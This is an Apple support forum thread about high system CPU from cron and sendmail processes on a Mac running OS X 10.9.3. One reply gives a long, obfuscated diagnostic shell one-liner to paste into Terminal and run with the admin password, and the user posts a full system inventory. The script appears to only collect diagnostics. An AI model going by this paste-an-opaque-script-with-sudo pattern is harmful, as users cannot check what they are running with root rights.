What are cron and sendmail and how do I stop them?

Question

What are cron and sendmail and how do I stop them?

I am running Mavericks on a MacPro with 16 GB of RAM and a 1 TB hybrid drive. After installing the latest OS update (10.9.3), I noticed that the computer was running a bit sluggishly. I checked the activity monitor and found that my system CPU usage was above 90%, sometimes rising as high as 98%. There was no single process with a large CPU usage percentage but there are quite a few (ten or more each) root processes that run around 20% to 30% each or so--most of them are cron or sendmail. I tried stopping some of these and it helped for a while but after a while they were running again and I was back to a 95% or so CPU load. I tried rebooting but it did not help. Any suggestions?

Posted on May 19, 2014 2:03 PM

Reply

Answer 1

kaz-k

Level 8

49,038 points

May 19, 2014 5:33 PM in response to Steven Zaveloff

cron is launch scheduled jobs.

sendmail is handling mail related stuff,such as send and receive mails, so you shouldn't stop them

.Resetting SMC could solve the problem.

http://support.apple.com/kb/HT3964?viewlocale=en_US

Reply

Answer 2

Linc Davis

Level 10

209,541 points

May 19, 2014 5:58 PM in response to Steven Zaveloff

1. This procedure is a diagnostic test. It changes nothing, for better or worse, and therefore will not, in itself, solve the problem. But with the aid of the test results, the solution may take a few minutes, instead of hours or days.

2. If you don't already have a current backup, back up all data before doing anything else. The backup is necessary on general principle, not because of anything in the test procedure. Backup is always a must, and when you're having any kind of trouble with the computer, you may be at higher than usual risk of losing data, whether you follow these instructions or not.

There are ways to back up a computer that isn't fully functional. Ask if you need guidance.

3. Below are instructions to run a UNIX shell script, a type of program. All it does is to collect information about the state of the computer. That information goes nowhere unless you choose to share it. However, you should be cautious about running any kind of program (not just a shell script) at the request of a stranger. If you have doubts, search this site for other discussions in which this procedure has been followed without any report of ill effects. If you can't satisfy yourself that the instructions are safe, don't follow them. Ask for other options.

Here's a summary of what you need to do, if you choose to proceed:

☞ Copy a line of text in this window to the Clipboard.

☞ Paste into the window of another application.

☞ Wait for the test to run. It usually takes a few minutes.

☞ Paste the results, which will have been copied automatically, back into a reply on this page.

The sequence is: copy, paste, wait, paste again. You don't need to copy a second time. Details follow.

4. You may have started the computer in "safe" mode. Preferably, these steps should be taken in “normal” mode, under the conditions in which the problem is reproduced. If the system is now in safe mode and works well enough in normal mode to run the test, restart as usual. If you can only test in safe mode, do that.

5. If you have more than one user, and the one affected by the problem is not an administrator, then please run the test twice: once while logged in as the affected user, and once as an administrator. The results may be different. The user that is created automatically on a new computer when you start it for the first time is an administrator. If you can't log in as an administrator, test as the affected user. Most personal Macs have only one user, and in that case this section doesn’t apply. Don't log in as root.

6. The script is a single long line, all of which must be selected. You can accomplish this easily by triple-clicking anywhere in the line. The whole line will highlight, though you may not see all of it in the browser window, and you can then copy it. If you try to select the line by dragging across the part you can see, you won't get all of it.

Triple-click anywhere in the line of text below on this page to select it:

PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/libexec;clear;cd;p=(Software Hardware Memory Diagnostics Power FireWire Thunderbolt USB Fonts 51 4 1000 25 5120 KiB/s 1024 85 \\b%% 20480 1 MB/s 25000 ports 'com.autodesk.AutoCad com.evenflow.dropbox com.google.GoogleDrive' DYLD_INSERT_LIBRARIES\ DYLD_LIBRARY_PATH -86 ` route -n get default|awk '/e:/{print $2}' ` 25 N\\/A down up 102400 25600 recvfrom sendto CFBundleIdentifier 25 25 25 1000 MB );N5=${#p[@]};p[N5]=` networksetup -listnetworkserviceorder|awk ' NR>1 { sub(/^$[0-9]+$ /,"");n=$0;getline;} $NF=="'${p[45]}')" { sub(/.$/,"",$NF);print n;exit;} ' `;f=('\n%s: %s\n' '\n%s\n\n%s\n' '\nRAM details\n%s\n' %s\ %s '%s\n\t(%s)\n' );S0() { echo ' { q=$NF+0;$NF="";u=$(NF-1);$(NF-1)="";gsub(/^ +| +$/,"");if(q>='${p[$1]}')printf("%s (UID %s) is using %s '${p[$2]}'",$0,u,q);} ';};s=(' /^ *$|CSConfigDot/d;s/^ */ /;s/[-0-9A-Fa-f]{22,}/UUID/g;s/(ochat)\.[^.]+(\..+)/\1\2/;/Shared/!s/\/Users\/[^/]+/~/g ' ' s/^ +//;5p;6p;8p;12p;' ' {sub(/^ +/,"")};NR==6;NR==13&&$2<'${p[10]} ' 1s/://;3,6d;/[my].+:/d;s/^ {4}//;H;${ g;s/\n$//;/s: [^EO]|x([^08]|02[^F]|8[^0])/p;} ' ' 5h;6{ H;g;/P/!p;} ' ' ($1~/^Cy/&&$3>'${p[11]}')||($1~/^Cond/&&$2!~/^N/) ' ' /:$/{ s/ *:$//;x;s/\n//;/Apple|Capacity:|Genesy|Intel|SMSC|Upstream/d;s/\n.*//;/\)$/p;};/^ *(V.+ [0N]|Man).+ /{ s/ 0x.... //;s/[()]//g;s/(.+: )(.+)/ (\2)/;H;} ' ' s/^.*C/C/;H;${ g;/No th|pms/!p;} ' '/= [^GO]/p' '{$1=""};1' ' /Of/!{ s/^.+is |\.//g;p;} ' ' $0&&!/:/;END { if(NR<100)print "com.apple.";} ' ' $3~/[0-9]:[0-9]{2}$/ { gsub(/:[0-9:a-f]{14}/,"");} { print|"tail -n'${p[12]}'";} ' ' NR==2&&$4<='${p[13]}' { print $4;} ' ' END { $2/=256;if($2>='${p[15]}')print int($2) } ' ' NR!=13{next};{sub(/[+-]$/,"",$NF)};'"`S0 21 22`" 'NR==2'"`S0 37 17`" ' NR!=5||$8!~/[RW]/{next};{ $(NF-1)=$1;$NF=int($NF/10000000);for(i=1;i<=3;i++){$i="";$(NF-1-i)="";};};'"`S0 19 20`" 's:^:/:p' '/\.kext\/(Contents\/)?Info\.plist$/p' ' s/^.{52}//;s/ .+//p ' ' /Launch[AD].+\.plist$/;END{if(NR<100)print "/System/";} ' '/\.xpc\/(Contents\/)?Info\.plist$/p' ' NR>1&&!/0x|\.[0-9]+$|com\.apple\.launchctl\.(Aqua|Background|System)$/ { print $3;} ' ' /\.(framew|lproj)|\):/d;/plist:|:.+(Mach|scrip)/s/:[^:]+//p ' '/root/p' ' !/\/Contents\/.+\/Contents|Applic|Autom|Frameworks/&&/Lib.+\/Info.plist$/;END{if(NR<100)print "/System/"};' '/^\/usr\/lib\/.+dylib$/p' '/\/etc\/(auto_m|hosts[^.]|peri)/s/^\.\/[^/]+//p' ' /\/(Contents\/.+\/Contents|Frameworks)\//d;p;' 's/\/(Contents\/)?Info.plist$//;p' ' { gsub("^| ","||kMDItem'${p[35]}'=");sub("^.."," ") };1 ' p '{print $3"\t"$1}' 's/\'$'\t''.+//p' 's/1/On/p' '/Prox.+: [^0]/p' '$2>'${p[9]}'{$2=$2-1;print}' ' BEGIN { i="'${p[26]}'";M1='${p[16]}';M2='${p[18]}';M3='${p[31]}';M4='${p[32]}';} !/^A/ { next;} /%/ { getline;if($5M2 { b=$3" ops/s, "$4" blocks/s";} $2==i { if(c) { d=$3+$4+$5+$6;next;};if($4>M3||$6>M4) c=int($4/1024)" in, "int($6/1024)" out";} END { if(a) print "CPU: "a;if(b) print "I/O: "b;if(c) print "Net: "c" (KiB/s)";if(d) print "Net errors: "d" packets/s";} ' ' /r\[0\] /&&$NF!~/^1(0|72\.(1[6-9]|2[0-9]|3[0-1])|92\.168)\./ { print $NF;exit;} ' ' !/^T/ { printf "(static)";exit;} ' '/apsd|OpenD/!s/:.+//p' ' (/k:/&&$3!~/(255\.){3}0/ )||(/v6:/&&$2!~/A/ ) ' ' /lR/ { if($2<='${p[25]}')print $2;} ' ' BEGIN { FS=":";} $3~/(sh|ng|ic)$/ { n=split($3,a,".");sub(/_2[01].+/,"",$3);b=b"\n"$2" "$3" "a[n]" "$1;c=c$1;} END { d="sort|tail -n'${p[38]}'";print b|d;close(d);if(c)print("\n\t* Code injection");} ' ' NR!=4{next} {$NF/=10240} '"`S0 27 14`" ' END { if($3~/[0-9]/)print$3;} ' ' BEGIN { L='${p[36]}';} !/^[[:space:]]*(#.*)?$/ { l++;if(l<=L) f=f"\n "$0;} END { F=FILENAME;if(!F) exit;if(!f) f="\n [N/A]";"file -b "F|getline T;if(T!~/^(A.+ E.+ text$|POSIX sh.+ text ex)/) F=F" ("T")";printf("\nContents of %s\n%s\n",F,f);if(l>L) printf("\n ...and %s more line(s)\n",l-L);} ' ' BEGIN{FS="= "} /Path/{print $2} ' ' /^ +B/{ s/.+= |(-[0-9]+)?\.s.+//g;p;} ' ' END{print NR} ' ' /id: N|te: Y/{i++} END{print i} ' ' /:/{$0="'"${p[28]}"'"};1;' '/ en/!s/\.//p' ' NR!=13{next};{sub(/[+-M]$/,"",$NF)};'"`S0 39 40`" );c1=(system_profiler pmset\ -g nvram fdesetup find syslog df vm_stat sar ps sudo\ crontab sudo\ iotop top pkgutil PlistBuddy whoami cksum kextstat launchctl sudo\ launchctl crontab 'sudo defaults read' stat lsbom mdfind ' for i in ${p[24]};do ${c1[18]} ${c2[27]} $i;done;' defaults\ read scutil sudo\ dtrace sudo\ profiles sed\ -En awk /S*/*/P*/*/*/C*/*/airport networksetup mdutil );c2=(com.apple.loginwindow\ LoginHook '-c Print /L*/P*/loginw*' '-c Print L*/P*/*loginit*' '-c Print L*/Saf*/*/E*.plist' '~ $TMPDIR.. $ -flags +sappnd,schg,uappnd,uchg -o ! -user $UID -o ! -perm -600 $' '.??* -path .Trash -prune -o -type d -name *.app -print -prune' '-c Print\ :'${p[35]}' 2>&1' '-c Print\ :Label 2>&1' '{/,}L*/{Con,Pref}* -type f ! -size 0 -name *.plist -exec plutil -s {} \;' "-f'%N: %l' Desktop L*/Keyc*" therm sysload boot-args status "-F '\$Time \$Message' -k Sender kernel -k Message Req 'Beac|caug|dead[^bl]|FAIL|GPU |hfs: Ru|inval|jnl:|last value [1-9]|n Cause: -|NVDA$|pagin|proc: t|Roamed|rror|ssert|Thrott|tim(ed? ?|ing )o|WARN' -k Message Rne 'Goog|ksadm|SMC:' -o -k Sender fseventsd -k Message Req 'SL'" '-du -n DEV -n EDEV 1 10' 'acrx -o comm,ruid,%cpu' '-t1 10 1' '-f -pfc /var/db/*/*.{BS,Bas,Es,OSXU,Rem}*.bom' '{/,}L*/Lo*/Diag* -type f \( -exec grep -lq "^Thread c" {} \; -exec printf \* \; -o -true $ -execdir stat -f:%Sc:%N -t%F {} \;' '-L {/{S*/,},}L*/Lau* -type f' '-L /{S*/,}L*/StartupItems -type f -exec file {} +' '-L /S*/L*/{C*/Sec*A,E}* {/,}L*/{A*d,Compon,Ex,In,iTu,Keyb,Mail/B,P*P,Qu*T,Scripti,Sec,Servi,Spo}* -type f -name Info.plist' '/usr/lib -type f -name *.dylib' `awk "${s[31]}"<<<${p[23]}` "/e*/{auto_master,{cron,fs}tab,hosts,{launchd,sysctl}.conf} /usr/local/etc/periodic/*/* .launchd.conf" list getenv /Library/Preferences/com.apple.alf\ globalstate --proxy '-n get default' -I --dns -getdnsservers -getinfo\ "${p[N5]}" -P -m\ / '' -n1 '-R -l1 -n1 -o prt -stats command,uid,prt' '--regexp --only-files --files com.apple.pkg.*|sort|uniq' -kl -l -s\ / '-R -l1 -n1 -o mem -stats command,uid,mem' );N1=${#c2[@]};for j in {0..8};do c2[N1+j]=SP${p[j]}DataType;done;N2=${#c2[@]};for j in 0 1;do c2[N2+j]="-n ' syscall::'${p[33+j]}':return { @out[execname,uid]=sum(arg0) } tick-10sec { trunc(@out,1);exit(0);} '";done;l=(Restricted\ files Hidden\ apps 'Elapsed time (s)' POST Battery Safari\ extensions Bad\ plists 'High file counts' User Heat System\ load boot\ args FileVault Diagnostic\ reports Log 'Free space (MiB)' 'Swap (MiB)' Activity 'CPU per process' Login\ hook 'I/O per process' Mach\ ports kexts Daemons Agents launchd Startup\ items Admin\ access Root\ access Bundles dylibs Apps Font\ issues Inserted\ dylibs Firewall Proxies DNS TCP/IP RSSI Profiles Root\ crontab User\ crontab 'Global login items' 'User login items' Spotlight Memory );N3=${#l[@]};for i in 0 1 2;do l[N3+i]=${p[5+i]};done;N4=${#l[@]};for j in 0 1;do l[N4+j]="Current ${p[29+j]}stream data";done;A0() { id -G|grep -qw 80;v[1]=$?;((v[1]==0))&&sudo true;v[2]=$?;v[3]=`date +%s`;clear;};for i in 0 1;do eval ' A'$((1+i))'() { v=` eval "${c1[$1]} ${c2[$2]}"|'${c1[30+i]}' "${s[$3]}" `;[[ "$v" ]];};A'$((3+i))'() { v=` while read i;do [[ "$i" ]]&&eval "${c1[$1]} ${c2[$2]}" \"$i\"|'${c1[30+i]}' "${s[$3]}";done<<<"${v[$4]}" `;[[ "$v" ]];};A'$((5+i))'() { v=` while read i;do '${c1[30+i]}' "${s[$1]}" "$i";done<<<"${v[$2]}" `;[[ "$v" ]];};';done;A7(){ v=$((`date +%s`-v[3]));};B2(){ v[$1]="$v";};for i in 0 1;do eval ' B'$i'() { v=;((v['$((i+1))']==0))||{ v=No;false;};};B'$((3+i))'() { v[$2]=`'${c1[30+i]}' "${s[$3]}"<<<"${v[$1]}"`;} ';done;B5(){ v[$1]="${v[$1]}"$'\n'"${v[$2]}";};B6() { v=` paste -d: <(printf "${v[$1]}") <(printf "${v[$2]}")|awk -F: ' {printf("'"${f[$3]}"'",$1,$2)} ' `;};B7(){ v=`grep -Fv "${v[$1]}"<<<"$v"`;};C0(){ test "$v"&&echo "$_";};C1() { [[ "$v" ]]&&printf "${f[$1]}" "${l[$2]}" "$v";};C2() { v=`echo $v`;[[ "$v" != 0 ]]&&C1 0 $1;};C3() { v=`sed -E "$s"<<<"$v"`&&C1 1 $1;};for i in 1 2;do for j in 2 3;do eval D$i$j'(){ A'$i' $1 $2 $3; C'$j' $4;};';done;done;A0;{ A2 0 $((N1+1)) 2;C0;A1 0 $N1 1;C0;B0;C2 27;B0&&! B1&&C2 28;D12 15 37 25 8;A1 0 $((N1+2)) 3;C0;D13 0 $((N1+3)) 4 3;D22 0 $((N1+4)) 5 4;for i in 0 1 2;do D13 0 $((N1+5+i)) 6 $((N3+i));done;D13 1 10 7 9;D13 1 11 8 10;D22 2 12 9 11;D12 3 13 10 12;D23 4 19 44 13;D23 5 14 12 14;D22 6 36 13 15;D22 7 37 14 16;D23 8 15 38 17;D22 9 16 16 18;B1&&{ D22 11 17 17 20;for i in 0 1;do D22 28 $((N2+i)) 45 $((N4+i));done;};D22 12 44 54 45;D22 12 39 15 21;A1 13 40 18;B2 4;B3 4 0 19;A3 14 6 32 0;B4 0 5 11;A1 17 41 20;B7 5;C3 22;B4 4 6 21;A3 14 7 32 6;B4 0 7 11;B3 4 0 22;A3 14 6 32 0;B4 0 8 11;B5 7 8;B1&&{ A2 19 26 23;B7 7;C3 23;};A2 18 26 23;B7 7;C3 24;A2 4 20 21;B7 6;B2 9;A4 14 7 52 9;B2 10;B6 9 10 4;C3 25;D13 4 21 24 26;B4 4 12 26;B3 4 13 27;A1 4 22 29;B7 12;B2 14;A4 14 6 52 14;B2 15;B6 14 15 4;B3 0 0 30;C3 29;A1 4 23 27;B7 13;C3 30;D23 24 24 32 31;D13 25 37 32 33;A1 23 18 28;B2 16;A2 16 25 33;B7 16;B3 0 0 34;B2 21;A6 47 21&&C0;B1&&{ D13 21 0 32 19;D13 10 42 32 40;D22 29 35 46 39;};D23 14 1 48 42;D12 34 43 53 44;D22 0 $((N1+8)) 51 32;D13 4 8 41 6;D12 26 28 35 34;D13 27 29 36 35;A2 27 32 39&&{ B2 19;A2 33 33 40;B2 20;B6 19 20 3;};C2 36;D23 33 34 42 37;D22 32 31 43 38;D23 20 42 32 41;D23 14 2 48 43;D13 4 5 32 1;D22 4 4 50 0;D13 14 3 49 5;D23 22 9 37 7;A7;C2 2;} 2>/dev/null|pbcopy;exit 2>&-

Copy the selected text to the Clipboard by pressing the key combination command-C.

7. Launch the built-in Terminal application in any of the following ways:

☞ Enter the first few letters of its name into a Spotlight search. Select it in the results (it should be at the top.)

☞ In the Finder, select Go ▹ Utilities from the menu bar, or press the key combination shift-command-U. The application is in the folder that opens.

☞ Open LaunchPad. Click Utilities, then Terminal in the icon grid.

Click anywhere in the Terminal window and paste by pressing command-V. The text you pasted should vanish immediately. If it doesn't, press the return key.

8. If you see an error message in the Terminal window such as "syntax error," enter

exec bash

and press return. Then paste the script again.

9. If you're logged in as an administrator, you'll be prompted for your login password. Nothing will be displayed when you type it. You will not see the usual dots in place of typed characters. Make sure caps lock is off. Type carefully and then press return. You may get a one-time warning to be careful. If you make three failed attempts to enter the password, the test will run anyway, but it will produce less information. In most cases, the difference is not important. If you don't know the password, or if you prefer not to enter it, press the key combination control-C or just press return three times at the password prompt. Again, the script will still run.

If you're not logged in as an administrator, you won't be prompted for a password. The test will still run. It just won't do anything that requires administrator privileges.

10. The test may take a few minutes to run, depending on how many files you have and the speed of the computer. A computer that's abnormally slow may take longer to run the test. While it's running, there will be nothing in the Terminal window and no indication of progress. Wait for the line

[Process completed]

to appear. If you don't see it within half an hour or so, the test probably won't complete in a reasonable time. In that case, close the Terminal window and report the results. No harm will be done.

11. When the test is complete, quit Terminal. The results will have been copied to the Clipboard automatically. They are not shown in the Terminal window. Please don't copy anything from there. All you have to do is start a reply to this comment and then paste by pressing command-V again.

At the top of the results, there will be a line that begins with "Model Identifier." If you don't see that, but instead see a mass of gibberish, you didn't wait for the "Process completed" message to appear in the Terminal window. Please wait for it and try again.

If any private information, such as your name or email address, appears in the results, anonymize it before posting. Usually that won't be necessary.

12. When you post the results, you might see the message, "You have included content in your post that is not permitted." It means that the forum software has misidentified something in the post as a violation of the rules. If that happens, please post the test results on Pastebin, then post a link here to the page you created.

Note: This is a public forum, and others may give you advice based on the results of the test. They speak only for themselves, and I don't necessarily agree with them.

________________________________

Copyright © 2014 by Linc Davis. As the sole author of this work, I reserve all rights to it except as provided in the Use Agreement for the Apple Support Communities website ("ASC"). Readers of ASC may copy it for their own personal use. Neither the whole nor any part may be redistributed.

Reply

Answer 3

May 20, 2014 7:32 AM in response to Linc Davis

Here it is.

Model Identifier: MacPro4,1

System Version: OS X 10.9.3 (13D65)

Kernel Version: Darwin 13.2.0

Boot Mode: Normal

Time since boot: 19:17

Memory

DIMM 1:

Size: 4 GB

Speed: 1066 MHz

Status: OK

Manufacturer: 0x857F

DIMM 2:

Size: 4 GB

Speed: 1066 MHz

Status: OK

Manufacturer: 0x857F

DIMM 3:

Size: 4 GB

Speed: 1066 MHz

Status: OK

Manufacturer: 0x857F

DIMM 4:

Size: 4 GB

Speed: 1066 MHz

Status: OK

Manufacturer: 0x857F

USB

UV PLUS (DisplayLink UK Ltd.)

EPSON Scanner (Seiko Epson Corp.)

AN2440D3 (DisplayLink UK Ltd.)

Mass Storage Device (Alcor Micro, Corp.)

USB Optical Mouse (Primax Electronics)

CP750LCDM (Cyber Power Systems, Inc.)

HL-2040 series (Brother International Corporation)

FileVault: FileVault master keychain appears to be installed

Diagnostic reports

2014-04-24 LCCDaemon crash

2014-04-26 com.google.Chrome crash

2014-05-14 cfbackd crash

2014-05-15 com.google.Chrome crash

2014-05-15 slinkDaemon crash

Log

May 20 03:20:41 SLOWDOWN: client 0x7fef9d803a00 (pid 239) sleeping due to too many errors (num usleeps 3341)

May 20 03:21:12 SLOWDOWN: client 0x7fef9a009600 (pid 486) sleeping due to too many errors (num usleeps 3346)

May 20 03:23:15 SLOWDOWN: client 0x7fef9d803a00 (pid 239) sleeping due to too many errors (num usleeps 3365)

May 20 03:24:16 SLOWDOWN: client 0x7fef9a009600 (pid 486) sleeping due to too many errors (num usleeps 3373)

May 20 03:25:21 SLOWDOWN: client 0x7fef9d803a00 (pid 239) sleeping due to too many errors (num usleeps 3386)

May 20 03:26:24 SLOWDOWN: client 0x7fef9a009600 (pid 486) sleeping due to too many errors (num usleeps 3397)

May 20 03:27:39 SLOWDOWN: client 0x7fef9d803a00 (pid 239) sleeping due to too many errors (num usleeps 3412)

May 20 03:28:31 SLOWDOWN: client 0x7fef9a009600 (pid 486) sleeping due to too many errors (num usleeps 3421)

May 20 03:30:09 SLOWDOWN: client 0x7fef9d803a00 (pid 239) sleeping due to too many errors (num usleeps 3440)

May 20 03:30:37 SLOWDOWN: client 0x7fef9a009600 (pid 486) sleeping due to too many errors (num usleeps 3445)

May 20 03:32:45 SLOWDOWN: client 0x7fef9d803a00 (pid 239) sleeping due to too many errors (num usleeps 3469)

May 20 03:32:55 SLOWDOWN: client 0x7fef9a009600 (pid 486) sleeping due to too many errors (num usleeps 3470)

May 20 03:40:11 SLOWDOWN: client 0x7fef9a009600 (pid 486) sleeping due to too many errors (num usleeps 3492)

May 20 03:42:08 SLOWDOWN: client 0x7fef9d803a00 (pid 239) sleeping due to too many errors (num usleeps 3507)

May 20 04:16:43 SLOWDOWN: client 0x7fef9d803a00 (pid 239) sleeping due to too many errors (num usleeps 3520)

May 20 04:33:16 SLOWDOWN: client 0x7fef9a009600 (pid 486) sleeping due to too many errors (num usleeps 3528)

May 20 04:36:14 SLOWDOWN: client 0x7fef9a009600 (pid 486) sleeping due to too many errors (num usleeps 3559)

May 20 04:37:28 SLOWDOWN: client 0x7fef9d803a00 (pid 239) sleeping due to too many errors (num usleeps 3570)

May 20 04:39:55 SLOWDOWN: client 0x7fef9a009600 (pid 486) sleeping due to too many errors (num usleeps 3592)

May 20 04:40:09 SLOWDOWN: client 0x7fef9d803a00 (pid 239) sleeping due to too many errors (num usleeps 3595)

May 20 04:42:12 SLOWDOWN: client 0x7fef9a009600 (pid 486) sleeping due to too many errors (num usleeps 3618)

May 20 04:42:17 SLOWDOWN: client 0x7fef9d803a00 (pid 239) sleeping due to too many errors (num usleeps 3619)

May 20 04:44:50 SLOWDOWN: client 0x7fef9a009600 (pid 486) sleeping due to too many errors (num usleeps 3648)

May 20 04:56:30 SLOWDOWN: client 0x7fef9d803a00 (pid 239) sleeping due to too many errors (num usleeps 3656)

May 20 07:35:14 SLOWDOWN: client 0x7fef9d803a00 (pid 239) sleeping due to too many errors (num usleeps 3681)

Activity

CPU: user 5%, system 94%

CPU per process: cron (UID 0) is using 27.1 %

Memory: kernel_task (UID 0) is using 1470 MB

kexts

com.symantec.kext.internetSecurity

com.symantec.kext.ips

org.virtualbox.kext.VBoxDrv

org.virtualbox.kext.VBoxUSB

com.avatron.AVExVideo

com.displaylink.driver.DisplayLinkDriver

com.avatron.AVExFramebuffer

com.paragon-software.filesystems.ntfs

org.pqrs.driver.KeyRemap4MacBook

com.sophos.kext.sav

Daemons

com.apple.PhotoApps.DevicePropertyReader

com.apple.photostream-agent.ImageConversionService

com.apple.photostream-agent.VideoConversionService

com.timesoftware.timemachineeditor.backupd-auto

com.sophos.notification

com.sophos.intercheck

com.sophos.autoupdate

com.apple.displaypolicyd

com.apple.appleseed.fbahelperd

com.symantec.symSchedDaemon.plist

com.symantec.symdaemon

com.symantec.sharedsettings

com.symantec.Sched501-7.plist

com.symantec.Sched501-6.plist

com.symantec.navapdaemonsl

com.symantec.navapd

com.symantec.MissedTasks.plist

com.symantec.diskMountNotify.plist

com.symantec.avscandaemon

com.smithmicro.schedulerdaemon

com.slinkware.slinkDaemon

com.prosofteng.DriveGenius.locum

com.oracle.java.JavaUpdateHelper

com.microsoft.office.licensing.helper

com.machangout.glims.loader

com.google.GoogleML

com.DistortedVista.iStatMenusProcessServer

com.displaylink.displaylinkmanager

com.crashplan.engine

com.cleverfiles.cfbackd

com.bombich.ccc.scheduledtask.UUID

com.bombich.ccc

com.barebones.textwrangler

com.barebones.authd

com.adobe.fpsaud

Agents

com.stairways.keyboardmaestro.engine.141536.UUID

com.apple.FolderActions.folders

com.epson.scanner.ica.10064.UUID

com.apple.photostream-agent

com.toteme.Launcher

com.fiplab.MemoryCleanHelper

de.milchimgemuesefach.Display-Menu-Helper

com.paragon.ntfs.upd

com.paragon.ntfs.trial

com.apple.mrt.uiagent

com.apple.java.updateSharing

com.apple.java.InstallOnDemandAgent

com.apple.appleseed.seedusaged

com.apple.AirPortBaseStationAgent

org.pqrs.KeyRemap4MacBook.server

org.glimmerblocker.updater

com.targus.agent

com.symantec.uiagent.application

com.speedtools.smartagent

com.sophos.uiserver

com.machangout.glims.agent

com.Logitech.Control

com.displaylink.useragent

ws.agile.1PasswordAgent

com.atomicbird.mondomouse

com.smithmicro.cleaning.schedulermailer

com.macupdate.desktop5.scanner

com.macpaw.CleanMyMac.volumeWatcher

com.Livestation

com.koingosw.MacCleanse4Helper.TrashWatcher

com.koingosw.MacCleanse4Helper.Reminder

com.google.keystone.user.agent

com.bombich.ccc-user-agent

com.apple.FolderActions.enabled

com.adobe.ARM.UUID

launchd

/System/Library/LaunchAgents/com.apple.AirPortBaseStationAgent.plist

(com.apple.AirPortBaseStationAgent)

/System/Library/LaunchAgents/com.apple.appleseed.seedusaged.plist

(com.apple.appleseed.seedusaged)

/System/Library/LaunchAgents/com.apple.CalendarAgentLauncher.plist

(com.apple.CalendarAgentLauncher)

/System/Library/LaunchAgents/com.apple.java.InstallOnDemand.plist

(com.apple.java.InstallOnDemandAgent)

/System/Library/LaunchAgents/com.apple.java.updateSharing.plist

(com.apple.java.updateSharing)

/System/Library/LaunchAgents/com.apple.mrt.uiagent.plist

(com.apple.mrt.uiagent)

/System/Library/LaunchAgents/com.paragon.NTFS.trial.plist

(com.paragon.ntfs.trial)

/System/Library/LaunchAgents/com.paragon.NTFS.upd.plist

(com.paragon.ntfs.upd)

/System/Library/LaunchDaemons/com.apple.appleseed.fbahelperd.plist

(com.apple.appleseed.fbahelperd)

/System/Library/LaunchDaemons/com.apple.displaypolicyd.plist

(com.apple.displaypolicyd)

/System/Library/LaunchDaemons/com.apple.mrt.plist

(com.apple.mrt)

/Library/LaunchAgents/com.displaylink.useragent-prelogin.plist

(com.displaylink.useragent-prelogin)

/Library/LaunchAgents/com.displaylink.useragent.plist

(com.displaylink.useragent)

/Library/LaunchAgents/com.Logitech.Control Center.Daemon.plist

(com.Logitech.Control Center.Daemon)

/Library/LaunchAgents/com.machangout.glims.agent.plist

(com.machangout.glims.agent)

/Library/LaunchAgents/com.sony.ReaderLibrary.RunReaderLibrary.plist

(com.sony.ReaderLibrary.RunReaderLibrary)

/Library/LaunchAgents/com.sophos.uiserver.plist

(com.sophos.uiserver)

/Library/LaunchAgents/com.speedtools.smartagent.plist

(com.speedtools.smartagent)

/Library/LaunchAgents/com.symantec.uiagent.application.plist

(com.symantec.uiagent.application)

/Library/LaunchAgents/com.targus.agent.plist

(com.targus.agent)

/Library/LaunchAgents/org.glimmerblocker.updater.plist

(org.glimmerblocker.updater)

/Library/LaunchAgents/org.pqrs.KeyRemap4MacBook.server.plist

(org.pqrs.KeyRemap4MacBook.server)

/Library/LaunchDaemons/com.adobe.fpsaud.plist

(com.adobe.fpsaud)

/Library/LaunchDaemons/com.barebones.authd.plist

(com.barebones.authd)

/Library/LaunchDaemons/com.barebones.textwrangler.plist

(com.barebones.textwrangler)

/Library/LaunchDaemons/com.bombich.ccc.plist

(com.bombich.ccc)

/Library/LaunchDaemons/com.bombich.ccc.scheduledtask.UUID.plist

(com.bombich.ccc.scheduledtask.UUID)

/Library/LaunchDaemons/com.bombich.ccc.scheduledtask.UUID.plist

(com.bombich.ccc.scheduledtask.UUID)

/Library/LaunchDaemons/com.bombich.ccc.scheduledtask.UUID.plist

(com.bombich.ccc.scheduledtask.UUID)

/Library/LaunchDaemons/com.cleverfiles.cfbackd.plist

(com.cleverfiles.cfbackd)

/Library/LaunchDaemons/com.crashplan.engine.plist

(com.crashplan.engine)

/Library/LaunchDaemons/com.displaylink.displaylinkmanager.plist

(com.displaylink.displaylinkmanager)

/Library/LaunchDaemons/com.distortedvista.istatmenusprocessserver.plist

(com.DistortedVista.iStatMenusProcessServer)

/Library/LaunchDaemons/com.google.GoogleML.plist

(com.google.GoogleML)

/Library/LaunchDaemons/com.machangout.glims.loader.plist

(com.machangout.glims.loader)

/Library/LaunchDaemons/com.microsoft.office.licensing.helper.plist

(com.microsoft.office.licensing.helper)

/Library/LaunchDaemons/com.oracle.java.JavaUpdateHelper.plist

(com.oracle.java.JavaUpdateHelper)

/Library/LaunchDaemons/com.prosofteng.DriveGenius.locum.plist

(com.prosofteng.DriveGenius.locum)

/Library/LaunchDaemons/com.slinkware.slinkDaemon.plist

(com.slinkware.slinkDaemon)

/Library/LaunchDaemons/com.smithmicro.schedulerdaemon.plist

(com.smithmicro.schedulerdaemon)

/Library/LaunchDaemons/com.sophos.autoupdate.plist

(com.sophos.autoupdate)

/Library/LaunchDaemons/com.sophos.intercheck.plist

(com.sophos.intercheck)

/Library/LaunchDaemons/com.sophos.notification.plist

(com.sophos.notification)

/Library/LaunchDaemons/com.symantec.avscandaemon.plist

(com.symantec.avscandaemon)

/Library/LaunchDaemons/com.symantec.diskMountNotify.plist

(com.symantec.diskMountNotify.plist)

/Library/LaunchDaemons/com.symantec.MissedTasks.plist

(com.symantec.MissedTasks.plist)

/Library/LaunchDaemons/com.symantec.navapd.plist

(com.symantec.navapd)

/Library/LaunchDaemons/com.symantec.navapdaemonsl.plist

(com.symantec.navapdaemonsl)

/Library/LaunchDaemons/com.symantec.Sched501-6.plist

(com.symantec.Sched501-6.plist)

/Library/LaunchDaemons/com.symantec.Sched501-7.plist

(com.symantec.Sched501-7.plist)

/Library/LaunchDaemons/com.symantec.Sched501-8.plist

(com.symantec.Sched501-8.plist)

/Library/LaunchDaemons/com.symantec.sharedsettings.plist

(com.symantec.sharedsettings)

/Library/LaunchDaemons/com.symantec.symdaemon.plist

(com.symantec.symdaemon)

/Library/LaunchDaemons/com.symantec.symSchedDaemon.plist

(com.symantec.symSchedDaemon.plist)

/Library/LaunchDaemons/com.timesoftware.timemachineeditor.backupd-auto.plist

(com.timesoftware.timemachineeditor.backupd-auto)

Library/LaunchAgents/com.adobe.ARM.UUID.plist

(com.adobe.ARM.UUID)

Library/LaunchAgents/com.apple.FolderActions.enabled.plist

(com.apple.FolderActions.enabled)

Library/LaunchAgents/com.apple.FolderActions.folders.plist

